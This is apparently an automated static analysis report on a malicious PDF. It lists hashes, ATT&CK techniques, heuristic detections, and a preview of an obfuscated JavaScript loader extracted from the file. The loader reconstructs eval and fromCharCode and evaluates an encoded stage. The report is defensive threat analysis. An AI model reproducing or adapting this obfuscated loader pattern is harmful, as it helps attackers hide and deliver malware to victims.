Malicious PDF — malware analysis report

Static analysis result for SHA-256 17d92bb5d4248182…

MALICIOUS

PDF

45.1 KB First seen: 2013-07-11
MD5: 2ac3c5400f099431fe6bbfdbc784aafc SHA-1: 3afdf9364d6ccc75a0a10865bc5a318b9c7d59e8 SHA-256: 17d92bb5d4248182e808efae381182c9aa04cd13fbd9df3df65b5b32d4d33188
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. The script reconstructs strings and appears to download and execute a second-stage payload. The ML classifier strongly indicates maliciousness. The specific payload and its ultimate destination could not be decoded due to obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1F4 441 bytes
SHA-256: c3a2122cacfe111ad997263bfe64fc7f7e0c8b51cafd2ec73c26b6124e445f4d
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
bmwhu='';
udfl=('qwrwqr','tit');
e('atat=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
rqt=e('String.fr'+atat.substr(0,10));
mdh = e(atat.substr(10)['replace'](/u/g,','));
e('k=mdh.length');
for (i = 0; i < k; i+=2) {
	bjn = mdh[i+1] + ('erybjkerl',mdh[i]);
	bmwhu += rqt(bjn);
}
e(bmwhu);

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